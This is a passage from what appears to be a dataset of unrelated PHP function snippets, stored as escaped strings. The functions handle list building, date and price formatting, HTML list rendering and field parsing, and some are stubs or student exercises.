$just_added)){\n\t\t\t\t\t$this->add_to_table($list_item);\n\t\t\t\t\t$just_added[] = $list_item;\n\t\t\t\t}\n\t\t\t}\n\t\t}else{ //if there is nothing in the organizations table\n\t\t\tforeach($list as $list_item){\n\t\t\t\tif(!in_array($list_item, $just_added)){\n\t\t\t\t\t$this->add_to_table($list_item);\n\t\t\t\t\t$just_added[] = $list_item;\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\t}", "function reArrange($source)\r\n{\r\n\t\r\n\t$i = 0;\r\n\t$fact_id=\"\";\r\n\t\t\t\r\n\tforeach($source as $key=>$val)\r\n\t{\t\r\n\t\t$res[$i]['Zone'] = $val['factories']['Zone'];\r\n\t\t\r\n\t\tif( intval($val['RESULT']['status']) == 0 ) \r\n\t\t{\r\n\t\t\t$fact_id = $val['RESULT']['factory_id'];\r\n\t\t\t\r\n\t\t\t$res[$i]['base_fact_id'] = $val['RESULT']['factory_id'];\r\n\t\t\t$res[$i]['base_fact_name'] = $val['factories']['factory_name'];\r\n\t\t\t$res[$i]['base_point'] = $val['RESULT']['points'];\r\n\t\t\t\r\n\t\t\t$res[$i]['follow_fact_id'] = \"\";\r\n\t\t\t$res[$i]['follow_point'] = \"\";\r\n\t\t}\r\n\t\t\t\r\n\t\telseif( intval($val['RESULT']['status']) != 0 ) \r\n\t\t{\r\n\t\t\tif($val['RESULT']['factory_id'] == $fact_id)\r\n\t\t\t{\r\n\t\t\t\t$res[$i-1]['follow_fact_id'] = $val['RESULT']['factory_id'];\r\n\t\t\t\t$res[$i-1]['follow_point'] = $val['RESULT']['points'];\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$res[$i]['base_fact_id'] = \"\";\r\n\t\t\t\t$res[$i]['base_point'] = \"\";\r\n\t\t\t\t\r\n\t\t\t\t$res[$i]['follow_fact_id'] = $val['RESULT']['factory_id'];\r\n\t\t\t\t$res[$i]['follow_fact_name'] = $val['factories']['factory_name'];\r\n\t\t\t\t$res[$i]['follow_point'] = $val['RESULT']['points'];\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$i++;\r\n\t}\r\n\t\r\n\treturn $res;\t\t\r\n}", "public function format(array $record);", "public function uniqueListUnifiesCommaSeparatedListDataProvider() {}", "function format_dates_for_db($formdata, $field_list)\n{\n\t$new_formdata = $formdata;\n\t\n\tforeach($field_list AS $key)\n\t{\n\t\t$field_key = explode('*', $key);\n\t\tif(array_key_exists($field_key[0], $formdata)){\n\t\t\tif(!empty($field_key[1]) && $field_key[1] == 'EXT'){\n\t\t\t\t$new_formdata[$field_key[0]] = date('Y-m-d H:i:s', strtotime($formdata[$field_key[0]]));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$new_formdata[$field_key[0]] = date('Y-m-d', strtotime($formdata[$field_key[0]]));\n\t\t\t}\n\t\t}\n\t}\n\t\n\treturn $new_formdata;\n}", "function format_item($item) //returns an item result with the proper formatting\n{\n\t$format_arr = array('Necessity', 'Title', 'Edition', 'Authors', 'Publisher');\n\t\n\tforeach ($format_arr as $name)\n\t{\n\t\tif (isset($item[$name]) && $item[$name])\n\t\t{\n\t\t\t$item[$name] = ucwords(strtolower(trim($item[$name], \" \\t\\n\\r\\0\\x0B\\xA0\")));\n\t\t}\n\t}\n\tif (isset($item['Year']) && $item['Year'])\n\t{\n\t\t$item['Year'] = date('Y', strtotime(trim($item['Year'])));\n\t}\n\tif (isset($item['ISBN']) && $item['ISBN'])\n\t{\n\t\t$item['ISBN'] = get_ISBN13(str_replace('&nbsp;', '', trim($item['ISBN'])));\n\t}\n\tif (isset($item['Bookstore_Price']) && $item['Bookstore_Price'])\n\t{\n\t\t$item['Bookstore_Price'] = priceFormat($item['Bookstore_Price']);\n\t}\n\t\n\tif (isset($item['New_Price']) && $item['New_Price'])\n\t{\n\t\t$item['New_Price'] = priceFormat($item['New_Price']);\n\t}\n\tif (isset($item['Used_Price']) && $item['Used_Price'])\n\t{\n\t\t$item['Used_Price'] = priceFormat($item['Used_Price']);\n\t}\n\tif (isset($item['New_Rental_Price']) && $item['New_Rental_Price'])\n\t{\n\t\t$item['New_Rental_Price'] = priceFormat($item['New_Rental_Price']);\n\t}\n\tif (isset($item['Used_Rental_Price']) && $item['Used_Rental_Price'])\n\t{\n\t\t$item['Used_Rental_Price'] = priceFormat($item['Used_Rental_Price']);\n\t}\n\n\treturn $item;\n}", "private function formatData($array) {\n\n foreach($array as $field => $value) {\n\n if(is_array($value)) {\n // Recursive loop to save 2nd level changes\n $array[$field] = $this->formatData($value);\n\n } else {\n // Only format phone numbers\n if(is_numeric($value)) {\n $value = substr_replace($value, '(', 0, 0);\n \t\t\t$value = substr_replace($value, ')', 4, 0);\n \t\t\t$value = substr_replace($value, ' ', 5, 0);\n \t\t\t$value = substr_replace($value, '-', 9, 0);\n \t\t\t$array[$field] = $value;\n }\n // ******* add extra if's for any needed data changes in the future ********\n }\n }\n return $array;\n }", "function humanized_list($string, $do_sort = false) \n{\n//assign variable\n\t\t$array = explode(', ', $string);\n\t\tif($do_sort){\n\t\tsort($array);\n}\n$last_item = array_pop($array);\n\n$array[] = \"and $last_item\";\n\n$string = implode(', ', $array);\n\nreturn $string;\n // Your solution goes here!\n}", "function humanized_list($string, $sort_array = false) {\n $array = explode(', ' , $string);\n if ($sort_array === true) {\n sort($array);\n }\n //$array = sort($array); \n $pop = array_pop($array);\n $newstring = implode(', ' , $array); \n return \"$newstring, and $pop\\n\";\n\n \n}", "function wp_parse_slug_list($input_list)\n {\n }", "public function formatManager($input) {\nglobal $_LW;\nusort($input, [$this, 'sortAppointmentsList']); // sort appointments\nforeach($input as $key=>$val) { // for each result\t\n\t$input[$key]['checkbox']='<input class=\"with_this\" type=\"checkbox\" name=\"items[]\" value=\"'.$input[$key]['id'].'\"/>';\n\t$input[$key]['appointments']='<input type=\"hidden\" name=\"appointments[]\" value=\"'.$input[$key]['id'].'\"/>';\n\t$input[$key]['title']='<a href=\"#\">'.$input[$key]['title'].'</a>';\n};\nreturn $input;\n}", "function parse_list($code)\n\t{\n\t\tpreg_match_all('`((?: |\\t)+)(--|\\*\\*|[-*])(.*)`', $code[0], $out, PREG_SET_ORDER);\n\t\tif(!$out) return '';\n\t\t$html = '';\n\t\t$last_lvl = 0;\n\t\t$last_type = array();\n\t\tforeach($out as $o)\n\t\t{\n\t\t\tlist(, $spaces, $opening, $content) = $o;\n\t\t\t$lvl = strlen($spaces);\n\t\t\tif($lvl != $last_lvl)\n\t\t\t{\n\t\t\t\tif($opening == '*') $type = 'ul';\n\t\t\t\telseif($opening== '-') $type = 'ol';\n\t\t\t\telse $type = 'dl';\n\n\t\t\t\tif($lvl > $last_lvl)\n\t\t\t\t{\n\t\t\t\t\t$html .= \"<$type>\";\n\t\t\t\t\t$last_type[] = $type;\n\t\t\t\t}\n\t\t\t\twhile($lvl < $last_lvl)\n\t\t\t\t{\n\t\t\t\t\t$html .= '</' . array_pop($last_type) . '>';\n\t\t\t\t\t$last_lvl -= 2;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// definition lists items\n\t\t\tif($type == 'dl') {\n\t\t\t\t// term/definition\n\t\t\t\t$pos = strpos($content, $opening);\n\t\t\t\tif($pos !== false) {\n\t\t\t\t\t$html .= '<dt>' . substr($content, 0, $pos) . '</dt>';\n\t\t\t\t\t$html .= '<dd>' . substr($content, $pos + 2) . '</dd>';\n\t\t\t\t}\n\t\t\t\t// term only\n\t\t\t\telseif($opening == '**') $html .= '<dt>' . $content . '</dt>';\n\t\t\t\t// definition only\n\t\t\t\telse $html .= '<dd>' . $content . '</dd>';\n\t\t\t}\n\t\t\t// classical lists items\n\t\t\telse $html .= '<li>' . $content . '</li>';\n\t\t\t$last_lvl = $lvl;\n\t\t}\n\t\treturn $html . \"</$type>\";\n\t}", "public function maybe_json_encode_list_fields( $entry ) {\n\t\t$form_id = $entry['form_id'];\n\t\t$form = GFAPI::get_form( $form_id );\n\t\tif ( ! empty( $form['fields'] ) && is_array( $form['fields'] ) ) {\n\t\t\tforeach ( $form['fields'] as $field ) {\n\t\t\t\t/* @var GF_Field $field */\n\t\t\t\tif ( $field->get_input_type() == 'list' ) {\n\t\t\t\t\t$new_value = maybe_unserialize( $entry[ $field->id ] );\n\n\t\t\t\t\tif ( ! $this->is_json( $new_value ) ) {\n\t\t\t\t\t\t$new_value = json_encode( $new_value );\n\t\t\t\t\t}\n\n\t\t\t\t\t$entry[ $field->id ] = $new_value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $entry;\n\t}", "private function reFormatPrices($result) {\n\t\t$priceMatcher = array('/\"amount\":\"(\\d+)\\.(\\d+)\"/');\n\t\t$priceReplacement = array('\"amount\":\"\\1,\\2\"'); \n\t\t\n\t\t$result = preg_replace($priceMatcher, $priceReplacement, $result);\n\t\n\t\treturn $result;\n\t}", "public static function listFormats(){\n $list = array();\n foreach(self::$_resultFormats as $key => $item){\n $list[$key] = $item['description'];\n }\n return $list;\n }", "function restructure_usrGroup($list, $more){\n $result = array();\n if($more){\n for($i = 0; $i < count($list); $i++){\n $result[$i]['id'] = $list[$i][0];\n $result[$i]['username'] = $list[$i][1];\n $result[$i]['password'] = $list[$i][2];\n $result[$i]['email'] = $list[$i][3];\n $result[$i]['group'] = $list[$i][4];\n }\n }else{\n $result['id'] = $list[0];\n $result['username'] = $list[1];\n $result['password'] = $list[2];\n $result['email'] = $list[3];\n $result['group'] = $list[4];\n }\n return $result;\n}", "function addToList($list, $newItem, $valueList)\n{\n\t$newList = $list;\n\tif($list != NULL)\n\t{\n\t\t// if the list is comprised of only the new item, just set the list to the new item value\n\t\tif($list == $newItem)\n\t\t{\n\t\t\t$newList = $newItem;\n\t\t}\n\t\t// if the list is comprised of at least one other value besides the new item, append the new item with comma separation\n\t\telse\n\t\t{\n\t\t\t$listItems = explode(', ', $list); // break string of list items into an array\n\t\t\t$listItemsOrig = $listItems;\n\t\t\t$itemsAdded = array();\n\t\t\t\n\t\t\t// only append if there is an item to add\n\t\t\tif($newItem != NULL)\n\t\t\t{\n\t\t\t\t// check each value in new items against list - only add if not already on list\n\t\t\t\t$newItems = explode(', ', $newItem); // break new item string into an array\n\t\t\t\tforeach($newItems as $thisNewItem)\n\t\t\t\t{\n\t\t\t\t\t// only append the new item if not already on list\n\t\t\t\t\tif(!in_array($thisNewItem, $listItems))\n\t\t\t\t\t{ \n\t\t\t\t\t\t$newList .= ', '.$thisNewItem;\n\t\t\t\t\t\tarray_push($listItems, $thisNewItem); \n\t\t\t\t\t\tarray_push($itemsAdded, $thisNewItem); \n\t\t\t\t\t} // end if\t!in_array($thisNewItem, $listItems)\t\t\t\n\t\t\t\t} // end foreach new item\n\t\t\t} // end if $newItem\n\t\t\t\n\t\t\t// if no new items to add, just declare empty $newItems array\n\t\t\telse\n\t\t\t{ \n\t\t\t\t$newItems = array();\n\t\t\t}\n\t\t\t\n\t\t\t// check for deleted values from new items and remove from list\n\t\t\t//$listItemsCopy = $listItems; // create a copy of the original list items array to compare against later\n\t\t\t$itemsRemoved \t= array();\n\t\t\t$itemsKept \t\t= array();\n\t\t\tforeach($listItems as $thisListItem)\n\t\t\t{\n\t\t\t\t// if list items includes a value that is not on the value list and not in the new items, it is a deleted new item\n\t\t\t\tif(!in_array($thisListItem, $valueList) and !in_array($thisListItem, $newItems))\n\t\t\t\t{\n\t\t\t\t\t// can't use str_replace, because of false positives (e.g. TV, Apple TV) - must remove item from array and then unexplode to recreate string\n\t\t\t\t\t$key = array_search ($thisListItem, $listItems); // find the position of the value in the array of list items\n\t\t\t\t\tif($key !== false) { unset($listItems[$key]); } // remove that value\n\t\t\t\t\tarray_push($itemsRemoved, $thisListItem);\n\t\t\t\t} // end if !in_arrays\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tarray_push($itemsKept, $thisListItem);\n\t\t\t\t}\n\t\t\t} // end foreach list item\n\t\t\t$newList = implode(', ', $listItems); // reconstruct string from duplicate array of list items\n\t\t\t/*\n\t\t\t$newList = \n\t\t\t'<br/>listItemsOrig: '.implode(', ', $listItemsOrig).'<br/>'.\n\t\t\t'$newItems: '.implode(', ', $newItems).'<br/>'.\n\t\t\t'$itemsAdded: '.implode(', ', $itemsAdded).'<br/>'.\n\t\t\t'$itemsKept: '.implode(', ', $itemsKept).'<br/>'.\n\t\t\t'$itemsRemoved: '.implode(', ', $itemsRemoved).'<br/>'.\n\t\t\t'$newList: '.implode(', ', $listItems).'<br/>'\n\t\t\t;\n\t\t\t*/\n\t\t} // end else\n\t} // end if $list\n\telse { $newList = $newItem; } // if the list is comprised of only the new item, just set the list to the new item value\n\treturn($newList);\n}", "function add_new_class_list_categories($list) {\r\n $list = str_replace('cat-item', ' cat-item list-group-item', $list);\r\n return $list;\r\n}", "abstract public function transform(array $item);", "function formatDefItem($array,$i) {\n\t$itemArray = $array[$i];\n\t\n\tif(!is_array($itemArray['definition'])) $itemArray['definition'] = array($itemArray['definition']);\n\t\n\tif(!empty($itemArray['class'])) {\n\t\tif(!is_array($itemArray['class'])) $itemArray['class'] = array($itemArray['class']);\n\t}\n\telse $itemArray['class'] = array();\n\t\n\tif($i==0) {\n\t\t$itemArray['class'][] = 'fli';\n\t}\n\tif($i==(count($array)-1)) {\n\t\t$itemArray['class'][] = 'lli';\n\t}\n\tif(!isEven($i)) $itemArray['class'][] = 'even';\n\t\n\t$definition = '';\n\tfor($d=0; $d<count($itemArray['definition']); $d++) {\n\t\t$text = $itemArray['definition'][$d];\n\t\tif(empty($text)) continue;\n\t\tif(!preg_match('/<[^<^>]+>/',$text)) $text = formatText($text); // if the text DOESN'T contain HTML, format it.\n\t\t$definition .= \" \".'<dd'.addAttributes('','',@$itemArray['class']).'>'.$text.'</dd>'.\"\\n\";\n\t}\n\t\n\treturn $definition;\n}", "private static function formatAndSortResult(&$result)\n {\n if (!is_array($result)) {\n return $result;\n }\n\n $result['formatedPrivateDataList'] = array();\n\n // Parse list of private data and create key/value association instead of classic key/value list\n if (isset($result['privateDataList']) && is_array($result['privateDataList']) && isset($result['privateDataList']['privateData']) && is_array($result['privateDataList']['privateData'])) {\n foreach ($result['privateDataList']['privateData'] as $k => $v) {\n if (is_array($v) && isset($v['key']) && isset($v['value'])) {\n $result['formatedPrivateDataList'][$v['key']] = $v['value'];\n }\n }\n }\n\n // Parse list of billing record and add a calculated_status column\n if (isset($result['billingRecordList']) && is_array($result['billingRecordList']) && isset($result['billingRecordList']['billingRecord']) && is_array($result['billingRecordList']['billingRecord'])) {\n foreach ($result['billingRecordList']['billingRecord'] as &$billingRecord) {\n $billingRecord['calculated_status'] = $billingRecord['status'];\n if ($billingRecord['status'] != 2 && isset($billingRecord['result']) && (!PaylinePaymentGateway::isValidResponse($billingRecord, self::$approvedResponseCode) || !PaylinePaymentGateway::isValidResponse($billingRecord, self::$pendingResponseCode))) {\n $billingRecord['calculated_status'] = 2;\n }\n }\n }\n\n // Sort associatedTransactionsList by date, latest first (not done by the API)\n if (isset($result['associatedTransactionsList']) && isset($result['associatedTransactionsList']['associatedTransactions']) && is_array($result['associatedTransactionsList']['associatedTransactions'])) {\n uasort($result['associatedTransactionsList']['associatedTransactions'], function ($a, $b) {\n if (self::getTimestampFromPaylineDate($a['date']) == self::getTimestampFromPaylineDate($b['date'])) {\n return 0;\n } elseif (self::getTimestampFromPaylineDate($a['date']) > self::getTimestampFromPaylineDate($b['date'])) {\n return -1;\n } else {\n return 1;\n }\n });\n }\n\n // Sort statusHistoryList by date, latest first (not done by the API)\n if (isset($result['statusHistoryList']) && isset($result['statusHistoryList']['statusHistory']) && is_array($result['statusHistoryList']['statusHistory'])) {\n uasort($result['statusHistoryList']['statusHistory'], function ($a, $b) {\n if (self::getTimestampFromPaylineDate($a['date']) == self::getTimestampFromPaylineDate($b['date'])) {\n return 0;\n } elseif (self::getTimestampFromPaylineDate($a['date']) > self::getTimestampFromPaylineDate($b['date'])) {\n return -1;\n } else {\n return 1;\n }\n });\n }\n\n return $result;\n }", "public function format()\n {\n $result = array();\n\n foreach ($this->groups as $group) {\n $result[] = array(\n 'id' => $group->getInternalId(),\n 'external_id' => $group->getExternalId(),\n 'value' => $group->getName(),\n 'label' => $group->getName(),\n );\n }\n\n return $result;\n }", "function funpack($format, $data){\n\t$pos=0;\n foreach ($format as $key => $len) {\n \tif(substr($key,0,4)!='skip')$result[$key] = trim(substr($data, $pos, $len));\n $pos+= $len;\n }\n return $result;\n}", "function formatData($data) {\n\t$out = '<dl>';\n\tforeach ($data as $key => $value) {\n\t\t$out.= '<dt>'.$key.'</dt><dd>'.(is_array($value)? '': htmlspecialchars($value)).'</dd>';\n\t}\n\treturn $out.'</dl>';\n}", "function name_list_custom_formats() {\n $header = array(t('Name'), t('System code'), t('Format'), t('Examples'), t('Actions'));\n $rows = array();\n\n $example_names = array(\n array(\n 'title' => 'Mr',\n 'given' => 'Joe',\n 'middle' => 'John Peter Mark',\n 'family' => 'Doe',\n 'generational' => 'Jnr.',\n 'credentials' => 'B.Sc., Ph.D.',\n ),\n array(\n 'title' => '',\n 'given' => 'JOAN',\n 'middle' => 'SUE',\n 'family' => 'DOE',\n 'generational' => '',\n 'credentials' => '',\n ),\n array(\n 'title' => '',\n 'given' => 'Prince',\n 'middle' => '',\n 'family' => '',\n 'generational' => '',\n 'credentials' => '',\n ),\n\n );\n $schema['name_custom_format'] = array(\n 'fields' => array(\n 'ncfid' => array(\n 'description' => t('The primary identifier for a custom format.'),\n 'type' => 'serial',\n 'unsigned' => TRUE,\n 'not null' => TRUE),\n 'name' => array(\n 'description' => t('The name to identify the custom format to a user.'),\n 'type' => 'varchar',\n 'length' => 255,\n 'not null' => TRUE),\n 'machine_name' => array(\n 'description' => t('The machine name to identify the custom format to the system.'),\n 'type' => 'varchar',\n 'length' => 255,\n 'not null' => TRUE),\n 'format' => array(\n 'description' => t('The format string to apply to names.'),\n 'type' => 'varchar',\n 'length' => 255,\n 'not null' => TRUE),\n ),\n 'primary key' => array('ncfid'),\n );\n $default_format = array(\n 'ncfid' => 0,\n 'name' => t('Default'),\n 'machine_name' => 'default',\n 'format' => name_settings('default_format'),\n );\n $custom_formats = array('0' => $default_format) + name_get_custom_formats();\n\n foreach ($custom_formats as $ncfid => $tag) {\n $row = array();\n $row[] = l($tag['name'], 'admin/settings/name/'. ($ncfid ? $ncfid : 'settings'));\n $row[] = $tag['machine_name'];\n $row[] = check_plain($tag['format']);\n\n $examples = array();\n foreach ($example_names as $example_name) {\n $examples []= check_plain(name_format($example_name, $tag['format']));\n }\n $row[] = implode('<br/>', $examples);\n\n if ($ncfid) {\n $links = array();\n $links[] = l(t('Edit'), 'admin/settings/name/'. $ncfid);\n $links[] = l(t('Delete'), 'admin/settings/name/'. $ncfid .'/delete');\n $row[] = implode('&nbsp;&nbsp;&nbsp;&nbsp;', $links);\n }\n else {\n $row[] = '';\n }\n $rows[] = $row;\n }\n\n $help = '<p><strong>'. t('The three examples are for the following users:') .'</strong><p>';\n $help_items = array();\n foreach ($example_names as $example_name) {\n $help_items[] = t('The example %user has the following components; title - %title, given - %given, middle - %middle, family - %family, generational - %generational, credentials - %credentials',\n array(\n '%user' => name_format($example_name, 't+ g+ m+ f+ g+ c'),\n '%title' => $example_name['title'] ? $example_name['title'] : '<none>',\n '%given' => $example_name['given'] ? $example_name['given'] : '<none>',\n '%middle' => $example_name['middle'] ? $example_name['middle'] : '<none>',\n '%family' => $example_name['family'] ? $example_name['family'] : '<none>',\n '%generational' => $example_name['generational'] ? $example_name['generational'] : '<none>',\n '%credentials' => $example_name['credentials'] ? $example_name['credentials'] : '<none>',\n ));\n }\n\n $fieldset = array(\n '#type' => 'fieldset',\n '#title' => t('Format string help'),\n '#collapsible' => TRUE,\n '#collapsed' => TRUE,\n );\n $fieldset['help'] = array(\n '#value' => theme('name_format_parameter_help'),\n );\n $output = theme('table', $header, $rows) . $help . theme('item_list', $help_items) . drupal_render($fieldset);\n return $output;\n}", "function _build_submitted_list($submitted_entries_data, $submitted_entries_order) {\n\t\t$data = \"<ul id=\\\"bwf_acc_entry_list\\\">\\n\";\n\t\t\n\t\t$i = 1;\n\t\t$j = 1;\n\t\t\n\t\tforeach ($submitted_entries_order as $key=>$value)\n\t\t{\n\t\t\t// We only want the first nine records\n\t\t\tif($j < 10)\n\t\t\t{\n\t\t\t\t$edit_url = BASE.AMP.'C=content_publish'.AMP.'M=entry_form'.AMP.'channel_id='.$submitted_entries_data[$key]['channel_id'].AMP.'entry_id='.$submitted_entries_data[$key]['entry_id'];\n\n\t\t\t\tif($i == 1) {\n\t\t\t\t\t$data .= \"<li class=\\\"bwf_acc_first \";\n\t\t\t\t} elseif ($i == 3) {\n\t\t\t\t\t$data .= \"<li class=\\\"bwf_acc_last \";\n\t\t\t\t} else {\n\t\t\t\t\t$data .= \"<li class=\\\"\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif($submitted_entries_data[$key]['type'] == 'entry') {\n\t\t\t\t\t$data .= \"bwf_acc_status_submitted\\\">\\n\";\n\t\t\t\t} else {\n\t\t\t\t\t$data .= \"bwf_acc_status_open_submitted\\\">\\n\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$data .= \"<a href=\".$edit_url.\">\";\n\t\t\t\t\t$data .= \"<p>\".$submitted_entries_data[$key]['title'].\"</p>\\n\";\n\t\t\t\t\t$data .= \"<ul class=\\\"bwf_acc_metadata\\\">\\n\";\n\t\t\t\t\t\t$data .= \"<li>\".$this->EE->ep_approval_list->get_channel_name($submitted_entries_data[$key]['channel_id']).\"</li>\\n\";\n\t\t\t\t\t\t$data .= \"<li>\".$this->EE->ep_approval_list->get_author_name($submitted_entries_data[$key]['author_id']).\"</li>\\n\";\n\t\t\t\t\t\t$data .= \"<li class=\\\"bwf_acc_metadata_last\\\">Last edited: \".gmdate('F jS Y', $submitted_entries_data[$key]['edit_date']).\"</li>\\n\";\n\t\t\t\t\t$data .= \"</ul>\\n\";\n\t\t\t\t$data .= \"</a></li>\\n\";\n\t\t\t}\n\n\t\t\tif($i == 3) { \n\t\t\t\t$i = 1; \n\t\t\t} else { \n\t\t\t\t$i++; \n\t\t\t}\n\t\t\t$j++;\n\t\t}\n\t\t\n\t\t$data .= \"</ul>\\n\";\n\t\t$data .= \"<p><a href=\\\"\".BASE.AMP.\"C=content_edit\\\">See all entries</a></p>\";\n\t\t\n\t\treturn $data;\n\t\t\n\t}", "function list_items($list) \n{\n $x = '';\n foreach($list as $key => $item) {\n $key++;\n $x .= \"[{$key}] {$item}\\n\";\n }\n return $x;\n // Return string of list items separated by newlines.\n // Should be listed [KEY] Value like this:\n // [1] TODO item 1\n // [2] TODO item 2 - blah\n // DO NOT USE ECHO, USE RETURN\n}", "public function formatAlertList($dataArray){\n $returnArr = [];\n foreach($dataArray as $data){\n $measurementsList = explode(\",\" , $data['co2value'] );\n\n $returnArr[] = ['startDate' => $data['startDate'] , 'endDate' => $data['endDate'] , 'measurements' => $measurementsList ];\n\n }\n\n return $returnArr;\n\n }", "private function _comma_separated_to_array($input, $type) {\n\t\t$output = array();\n\t\tif ( empty($input) ) {\n\t\t\treturn $output;\n\t\t}\n\t\tif ( is_array($input) ) {\n\t\t\t$output = $input;\n\t\t}\n\t\telse {\n\t\t\t$output = explode(',', $input);\n\t\t}\n\n\t\tforeach ($output as $i => $item) {\n\t\t\t$output[$i] = trim($item);\n\t\t\t$item = trim($item);\n\t\t\t\n\t\t\t// Remove quotes, e.g. $input = '\"1\",\"2\",\"3\"'\n\t\t\t$item = preg_replace('/^\"/', '', $item);\n\t\t\t$item = preg_replace('/\"$/', '', $item);\n\t\t\t$item = preg_replace(\"/^'/\", '', $item);\n\t\t\t$item = preg_replace(\"/'$/\", '', $item);\n\t\t\t\n\t\t\tif (empty($item)) {\n\t\t\t\tunset($output[$i]); // this covers the nefarious empty arrays!\n\t\t\t\tcontinue; \n\t\t\t}\n\t\t\tswitch ($type) {\n\t\t\t\tcase 'integer':\n\t\t\t\t\t$output[$i] = (int) $item;\n\t\t\t\t\tbreak;\n\t\t\t\t\t// Only a-z, _, - is allowed.\n\t\t\t\tcase 'alpha':\n\t\t\t\t\tif ( !preg_match('/[a-z_\\-]/i', $item) ) {\n\t\t\t\t\t\t$this->errors[] = __('Invalid alpha input:') . $item;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'post_type':\n\t\t\t\t\tif ( !empty($item) && !post_type_exists($item) ) {\n\t\t\t\t\t\t$this->errors[] = __('Invalid post_type:') . $item;\n\t\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'post_status':\n\t\t\t\t\tif ( !in_array($item, array('inherit', 'publish', 'auto-draft', 'draft')) ) {\n\t\t\t\t\t\t$this->errors[] = __('Invalid post_status:') . $item;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'search_columns':\n\t\t\t\t\t// Taking this on: http://code.google.com/p/wordpress-summarize-posts/issues/detail?id=27\n\t\t\t\t\tif ( !preg_match('/[a-z_0-9]/i', $item) ) {\n\t\t\t\t\t\t$this->errors[] = __('Invalid column name. Column names may only contain alphanumeric characters and underscores: ') . $item;\n\t\t\t\t\t}\n\t\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'no_tags':\n\t\t\t\t\t$output[$i] = strip_tags($item);\n\t\t\t}\n\t\t}\n\n\t\treturn $output;\n\t}", "public function update(): void\n {\n $content = $this->getOriginalContent();\n\n $parsed = $this->parseContent($content);\n\n $this->storeList($parsed);\n }", "abstract protected function transformItem($item);", "public function rmFromListRemovesElementsFromCommaSeparatedListDataProvider() {}", "protected function getValuesFromList($list){\n\n\t\tif(preg_match_all('(-?(?=\\\\.?\\\\d)\\\\d*(?:\\\\.\\\\d+)?)i', $list, $values)){\n\t\t\treturn $values[0];\n\t\t}\n\t\treturn array();\n\n\t}", "function style_ul_filter($content) {\n\t$content = str_replace('<ul>', '<div class=\"ul-bullets\"><ul>', $content);\n\t$content = str_replace('</ul>', '</ul></div>', $content);\n\treturn $content;\n}", "function organizeData($listOne, $listTwo, $listThree, $listFour) {\n return array_map(null, $listOne, $listTwo, $listThree, $listFour);\n}", "function wp_list_pluck($input_list, $field, $index_key = \\null)\n {\n }", "public function convert(array $targetList): IContent;", "public function processField($arr){\n\t\t$return = array();\n\t\t$parts = explode(',', $arr);\n\t\t$seq = 0;\n\t\tfor($i=0; $i<count($parts); $i++){\n\t\t\tif('blank' == substr($parts[$i],0,5)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tlist(,$list) = explode('_', $parts[$i])\t;\n\t\t\t//$list = str_replace('item_', '',$parts[$i]);\n\t\t\tlist($type, $fieldId) = explode('-',$list);\n\t\t\t$return[$type][$fieldId] = \tintval($seq);\n\t\t\t$seq++;\n\t\t}\n\n\t\treturn $return;\n\t}", "function list_items($list)\n{\n\t$result = '';\n\tforeach ($list as $key => $value) {\n // Display each item and a newline\n $add = $key + 1; \n $result .= \"[{$add}] {$value}\\n\";\n }\n\t\n\treturn $result;\n}", "public function formatAddressesForSelect($list)\n {\n $options = array();\n foreach ($list as $item) {\n $address = $this->formatPostalAddress($item);\n\n $allowedParts = array('organisationName', 'addressLine1', 'addressLine2', 'addressLine3', 'town');\n $parts = array();\n\n foreach ($allowedParts as $part) {\n if (array_key_exists($part, $address) && !empty($address[$part])) {\n $parts[] = $address[$part];\n }\n }\n\n $str = implode(', ', $parts);\n\n if (strlen($str) > self::MAX_DISPLAY_LENGTH) {\n // one char is correct; we use an ellipsis rather than three dots\n $str = substr($str, 0, self::MAX_DISPLAY_LENGTH - 1) . '…';\n }\n\n $options[$item['uprn']] = $str;\n asort($options, SORT_NATURAL);\n }\n\n return $options;\n }", "protected function formatHistoryList($content){\r\n\t\t// Looking for successful header\r\n\t\t$resultsList = explode(\"200 Ok\\n\",$content);\r\n\t\t// Separate the header and the actual body that contains the ticket list\r\n\t\t$results = explode(\"\\n\\n--\\n\", $resultsList[1]);\r\n\t\t// Check if there is any ticket in the body\r\n\t\tif (!empty($results) && strpos($results[0], \"id: \") > 0) { // if result if not empty\r\n\t\t\t// Translate the text list into array\r\n\t\t\tforeach ($results as $j => $ticket){\r\n\t\t\t\t// Get content atttribute out and treat it separately\r\n\t\t\t\t$head = explode(\"Content: \", $ticket);\r\n\t\t\t\t$tail = explode(\"Creator:\", $head[1]);\r\n\t\t\t\t$contentBody = $tail[0];\r\n\t\t\t\t$ticket = $head[0] . \"Creator:\" . $tail[1];\r\n\t\t\t\t$attributes = explode(\"\\n\",$ticket);\r\n\t\t\t\tif(empty($attributes[0])) unset($attributes[0]);\r\n\t\t\t\tif(empty($attributes[count($attributes)-1])) unset($attributes[count($attributes)-1]);\r\n\t\t\t\tforeach ($attributes as $i => $data){\r\n\t\t\t\t\t$keys = explode(\": \", $data);\r\n\t\t\t\t\tunset($attributes[$i]);\r\n\t\t\t\t\tif (!empty($keys[0])) $attributes[$keys[0]] = $keys[1];\r\n\t\t\t\t}\r\n\t\t\t\t$attributes['Content'] = trim($contentBody);\r\n\t\t\t\t$results[$j] = $attributes;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $results;\r\n\t}", "function demos_convert_list() {\n return array(\n 'item1' => t('Item1'),\n 'item2' => t('Item2'),\n 'description' => t('Description'),\n );\n}", "private function fixExplodeFields($input){\n foreach($this->explodeFields as $field){\n if(empty($input[$field]))\n $input[$field] = array();\n else{\n if(substr($input[$field],0,1) == $this->explodeDelimiter){\n $input[$field] = substr($input[$field],1,-1);\n }\n $fld = explode($this->explodeDelimiter,$input[$field]);\n $f = array();\n foreach($fld as $k => $v){\n $f[$k] 